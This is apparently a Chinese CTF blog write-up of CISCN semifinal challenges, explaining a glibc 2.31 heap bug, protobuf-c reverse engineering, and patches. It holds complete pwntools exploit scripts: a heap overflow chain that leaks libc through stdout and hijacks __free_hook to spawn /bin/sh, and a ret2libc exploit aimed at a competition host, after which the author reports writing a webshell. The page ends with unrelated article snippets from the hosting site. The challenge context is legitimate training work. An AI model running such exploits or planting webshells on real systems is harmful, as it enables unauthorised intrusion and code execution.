ciscnccb半决赛

news/2025/3/22 11:46:10/文章来源:https://www.cnblogs.com/S1nyer/p/18784079

AWDP

typo

一道2.31的堆题

image

漏洞点位于edit功能,snprintf函数把用户输入作为format,导致了堆溢出以及格式化字符串漏洞

image

fix

从程序的代码不难看出分配出来的堆,前面八个字节是堆的size,后面的空间才是数据域

这里原意是修改heap的size,但是用错了函数,我们修改最大读入的size字节数为8,将snprintf函数nop掉修改为直接给heap->size赋值

这样即避免了堆溢出也不存在格式化字符串漏洞了

image

break

这里我用的是堆溢出的方法打的

def add(idx, size):sla(">> ", str(1))sla("Index: ", str(idx))sla("Size: ", str(size))def free(idx):sla(">> ", str(2))sla("Index: ", str(idx))def edit(idx, pay, cont):sla(">> ", str(3))sla("Index: ", str(idx))sla("size of content: ", pay)sa("you want to say: ", cont)def quit():sla(">> ", str(4))

程序没有show功能,可以利用_IO_FILE来进行leak

首先我们利用chunk overlapping达到类似UAF的功能

    for i in range(12):add(i, 0x80)payload = b"%136c"+ p64(0x511)edit(0, payload, "a")free(1)for i in range(12, 12+9):add(i, 0x80)

效果如下图

image

接着我们打house of hotcake,构造出unsortedbin和tcachebin重叠

    # chunk 20和chunk 9实际上是同一个chunkfor i in range(12, 12+7):free(i)free(20)free(19)add(1, 0x80)free(9)

image

接下来通过分割unsortedbin使libc地址覆盖tcachebin的fd

	add(12, 0x40)add(13, 0x30)

image

通过溢出写heap 13的size,然后再溢出修改fd的低两字节,使其指向&_IO_2_1_stdout_ - 0x10的位置,因为低三位是固定的,所以这里爆破成功的概率是1/16

    edit(12, b'A'*0x50+p64(0x420), "aaaa")edit(13, b'A'*8, b'A'*0x38+b"\x90\x26")

然后修改_IO_2_1_stdout_结构体,泄露libc地址

    add(14, 0x80)add(15, 0x80)edit(15, b"A"*8, flat(0, 0xfbad1800,0,0,0)+b"\x00")ru(p64(0))libc.address = uu64() - 0x1ec980

最后劫持__free_hook为system函数,getshell

    edit(13, b"A"*8, b'A'*0x28+flat(0, 0x91))free(14)edit(13, b"A"*8 , b'A'*0x38+p64(libc.sym["__free_hook"]-8))add(16, 0x80)add(17, 0x80)edit(17, p64(libc.sym["system"]), p64(libc.sym["system"])*4)edit(10, b'A'*0x90 + b"/bin/sh\x00", "aaaa")free(11)ia()

exp

from pwn import *
import structdef debug(c = 0):if(c):gdb.attach(p, c)else:gdb.attach(p)sd = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
rc   = lambda num=4096   :p.recv(num)
ru  = lambda text   :p.recvuntil(text)
rl  = lambda 	:p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg = lambda s   :p.success('%s -> 0x%x' % (s, eval(s)))
lgn = lambda s, n   :p.success('%s -> 0x%x' % (s, n))context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
file = "./pwn"
libc = "./libc-2.31.so"elf = ELF(file, False)
libc = ELF(libc, False)def add(idx, size):sla(">> ", str(1))sla("Index: ", str(idx))sla("Size: ", str(size))def free(idx):sla(">> ", str(2))sla("Index: ", str(idx))def edit(idx, pay, cont):sla(">> ", str(3))sla("Index: ", str(idx))sla("size of content: ", pay)sa("you want to say: ", cont)def quit():sla(">> ", str(4))def pwn():global pp = process("./pwn")for i in range(12):add(i, 0x80)payload = b"%136c"+ p64(0x511)edit(0, payload, "a")stdout_offset = libc.sym["_IO_2_1_stdout_"] & 0xffff # 0xd6a0free(1)for i in range(12, 12+9):add(i, 0x80)for i in range(12, 12+7):free(i)free(20)free(19)add(1, 0x80)free(9)add(12, 0x40)add(13, 0x30)edit(12, b'A'*0x50+p64(0x420), "aaaa")edit(13, b'A'*8, b'A'*0x38+b"\x90\x26")add(14, 0x80)add(15, 0x80)edit(15, b"A"*8, flat(0, 0xfbad1800,0,0,0)+b"\x00")ru(p64(0))libc.address = uu64() - 0x1ec980edit(13, b"A"*8, b'A'*0x28+flat(0, 0x91))free(14)edit(13, b"A"*8 , b'A'*0x38+p64(libc.sym["__free_hook"]-8))add(16, 0x80)add(17, 0x80)edit(17, p64(libc.sym["system"]), p64(libc.sym["system"])*4)lgn("libc_base", libc.address)#debug("b free\n b malloc")#pause()edit(10, b'A'*0x90 + b"/bin/sh\x00", "aaaa")free(11)ia()pwn()

prompt

proto文件还原

在我之前有篇文章有讲如何根据二进制C程序还原proto文件,这里再讲一次

首先IDA里面搜索常数0x28AAEEF9,这是Protobuf message描述符的magic number

image

可以知道该message的名称是HeapPayload,我们能在上面找到它的字段描述符

image

我们导入下面结构体到IDA structures,右键将unk_4B20转为结构体ProtobufCFieldDescriptor

一共是四个字段描述符

enum ProtobufCLabel
{PROTOBUF_C_LABEL_REQUIRED = 0x0,      ///< A well-formed message must have exactly one of this field.PROTOBUF_C_LABEL_OPTIONAL = 0x1,      ///< A well-formed message can have zero or one of this field (but not///< more than one).PROTOBUF_C_LABEL_REPEATED = 0x2,      ///< This field can be repeated any number of times (including zero) in a///< well-formed message. The order of the repeated values will be///< preserved.PROTOBUF_C_LABEL_NONE = 0x3,          ///< This field has no label. This is valid only in proto3 and is///< equivalent to OPTIONAL but no "has" quantifier will be consulted.
};enum ProtobufCType
{PROTOBUF_C_TYPE_INT32 = 0x0,          ///< int32PROTOBUF_C_TYPE_SINT32 = 0x1,         ///< signed int32PROTOBUF_C_TYPE_SFIXED32 = 0x2,       ///< signed int32 (4 bytes)PROTOBUF_C_TYPE_INT64 = 0x3,          ///< int64PROTOBUF_C_TYPE_SINT64 = 0x4,         ///< signed int64PROTOBUF_C_TYPE_SFIXED64 = 0x5,       ///< signed int64 (8 bytes)PROTOBUF_C_TYPE_UINT32 = 0x6,         ///< unsigned int32PROTOBUF_C_TYPE_FIXED32 = 0x7,        ///< unsigned int32 (4 bytes)PROTOBUF_C_TYPE_UINT64 = 0x8,         ///< unsigned int64PROTOBUF_C_TYPE_FIXED64 = 0x9,        ///< unsigned int64 (8 bytes)PROTOBUF_C_TYPE_FLOAT = 0xA,          ///< floatPROTOBUF_C_TYPE_DOUBLE = 0xB,         ///< doublePROTOBUF_C_TYPE_BOOL = 0xC,           ///< booleanPROTOBUF_C_TYPE_ENUM = 0xD,           ///< enumerated typePROTOBUF_C_TYPE_STRING = 0xE,         ///< UTF-8 or ASCII stringPROTOBUF_C_TYPE_BYTES = 0xF,          ///< arbitrary byte sequencePROTOBUF_C_TYPE_MESSAGE = 0x10,       ///< nested message
};struct ProtobufCFieldDescriptor {/** Name of the field as given in the .proto file. */const char		*name;/** Tag value of the field as given in the .proto file. */uint32_t		id;/** Whether the field is `REQUIRED`, `OPTIONAL`, or `REPEATED`. */ProtobufCLabel		label;/** The type of the field. */ProtobufCType		type;/*** The offset in bytes of the message's C structure's quantifier field* (the `has_MEMBER` field for optional members or the `n_MEMBER` field* for repeated members or the case enum for oneofs).*/unsigned		quantifier_offset;/*** The offset in bytes into the message's C structure for the member* itself.*/unsigned		offset;const void		*descriptor; /* for MESSAGE and ENUM types *//** The default value for this field, if defined. May be NULL. */const void		*default_value;uint32_t		flags;/** Reserved for future use. */unsigned		reserved_flags;/** Reserved for future use. */void			*reserved2;/** Reserved for future use. */void			*reserved3;
};

image

image

根据还原出来的字段描述符,我们可以得到如下proto文件(因为存在NONE标签,所以是proto3协议)

syntax = "proto3";message HeapPayload {int32 option = 1;repeated int32 chunksize = 2;repeated int32 heap_chunks_id = 3;bytes heap_content = 4;
}

为了方便之后的逆向,我们输入protoc-c --c_out=. heap.proto来编译该proto文件,然后在heap.pb-c.h文件找到该message的C结构体(如下)并导入IDA

struct  HeapPayload
{ProtobufCMessage base;int32_t option;size_t n_chunksize;int32_t *chunksize;size_t n_heap_chunks_id;int32_t *heap_chunks_id;ProtobufCBinaryData heap_content;
};struct ProtobufCBinaryData { // 这个结构体在protobuf-c项目里面有定义size_t	len;        /**< Number of bytes in the `data` field. */uint8_t	*data;      /**< Data bytes. */
};

至此,逆向protobuf部分的工作就完成了。可以看到还原的代码可读性已经不错了

image

fix

漏洞点:

edit函数没有对size进行判断导致堆溢出(红框处改成v4 <= sizes[v3]逻辑才合理)

image

但我的修复方案是直接把memcpy函数调用nop掉!

break

呜呜呜还没复现完成,等整好了再修改该文章

ISW

数据管理系统

队友扫描端口到http服务 http://172.19.110.30:8081/并且扫到了这个pwn题的远程端口是65533,下载目录下的二进制文件exrop,发现是一个简单的ret2libc题,但没有给libc文件

于是用本地glibc-all-in-one的libc文件逐一尝试,最后发现是能打通的是2.31-0ubuntu9.15版本的libc

image

getshell并写入木马

image

image

exp

from pwn import *
import structdef get_sb():return libc.sym['system'], next(libc.search(b'/bin/sh\x00'))sd = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
rc   = lambda num=4096   :p.recv(num)
ru  = lambda text   :p.recvuntil(text)
rl  = lambda 	:p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg = lambda s   :p.success('%s -> 0x%x' % (s, eval(s)))
lgn = lambda s, n   :p.success('%s -> 0x%x' % (s, n))context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['gnome-terminal', '-e', 'sh', '-c']
file = "./pwn"
libc = "/home/s1nyer/glibc-all-in-one/libs/2.31-0ubuntu9.15_amd64/libc.so.6"#p = process("./pwn")
elf = ELF(file)
libc = ELF(libc)
ip = "172.19.110.30"
p = remote(ip, 65533)rdi = 0x0000000000401181
payload = cyclic(0x130) + flat(elf.bss(0x400), rdi, elf.got["puts"], elf.plt["puts"] ,elf.sym["main"])
sla("Pwn me\n", payload)
libcbase = uu64() - libc.sym["puts"]
libc.address = libcbase
system,sh = get_sb()
lgn("libcbase", libcbase)payload = cyclic(0x130) + flat(0, rdi+1, rdi, sh, system)
sla("Pwn me\n", payload)
ia()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/902240.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

AI全天候智能助手,为您构建私人数据库

在数字化转型浪潮中,AI与大数据技术已成为企业提升效率、优化服务的核心引擎。思通数科凭借其自主研发的大数据智能系统,以AI为核心,打造了一站式解决方案,覆盖消费者服务、商家赋能与平台运营三大领域,助力用户与合作伙伴实现智能化升级。以下是该系统的核心功能与价值解…

安装 Prometheus监控主机服务

一、安装 Prometheus 下载 Prometheus 首先,访问 Prometheus 官网 获取最新版本的下载链接,然后使用 wget 下载:wget https://github.com/prometheus/prometheus/releases/download/v3.2.1/prometheus-3.2.1.linux-amd64.tar.gz解压并安装解压下载的文件:tar -xvzf prometh…

L1 通讲

好多,好多。L1 通讲 部分知识点速通 技术与产品开发的动机 ​ 这张图展示了两个长期趋势:技术和创新的发展速度逐渐变快; 它对我们的生活影响非常广泛,包括好的(如天花疫苗)和坏的(核弹?) 技术变得越来越强大。 例如,我们的祖先使用石制工具,但现在我们构建跨越全球…

Flink 实战之流式数据去重

流式数据是一种源源不断产生的数据,没有预定的开始与结束,至少理论上来说,它的数据输入永远不会结束。因此流式数据处理与传统的批处理技术不同,必须具备持续不断地对到达的数据进行处理的能力。因为流式数据源源不断地产生,对流式数据做去重就十分困难,因为一条数据重复…

vue3 + springboot 实现模糊查询与增加操作

实现表格查询: <!-- 表格 --><div class="card" style="margin-bottom: 5px"><el-table :data="data.tableData" stripe><el-table-column label="名称" prop="name" /><el-table-column lab…

网络基础与进阶

计算机网络入门与进阶 学习OSI网络模型相关概念(重点掌握) 学习TCP三次握手与四次挥手过程(重点掌握) 学习TCP的11种状态集转化(重点掌握) 学习DNS相关知识概念与原理 linux网关配置(添加网关 网段 以及网络主机路由) 修改网卡配置文件 用户访问www.baidu.com 整个过程…

VTK-8.2.0源码编译和初步使用(Cmake+VS2015+Qt5.14.2)

一、准备数据 1、首先确保已安装VS5015和Qt5.14.2 2、下载Cmake并安装:Download CMake 3、下载VTK-8.2.0源码和数据并解压:Download | VTK 二、Cmake构建 1、在本地磁盘创建相关文件夹2、进入源码根目录,找到CmakeList.txt,修改CmakeList.txt中的选项,使得Debug模式下生成…

B2043 判断能否被3,5,7整除

读者自己完善一下10、11、13、14行吧

20244113 实验一《Python程序设计》实验报告

课程:《Python程序设计》 班级: 2441 姓名: 咸润杰 学号:20244113 实验教师:王志强 实验日期:2025年3月20日 必修/选修: 公选课 1.实验内容 (1)熟悉Python开发环境; (2)下载python与pycharm,完成python开发环境搭建; (3)编写程序,练习变量和类型、字符串、对象…

P8435 【模板】点双连通分量

P8435 【模板】点双连通分量 题目描述 对于一个 \(n\) 个节点 \(m\) 条无向边的图,请输出其点双连通分量的个数,并且输出每个点双连通分量。 输入格式 第一行,两个整数 \(n\) 和 \(m\)。 接下来 \(m\) 行,每行两个整数 \(u, v\),表示一条无向边。 输出格式 第一行一个整数…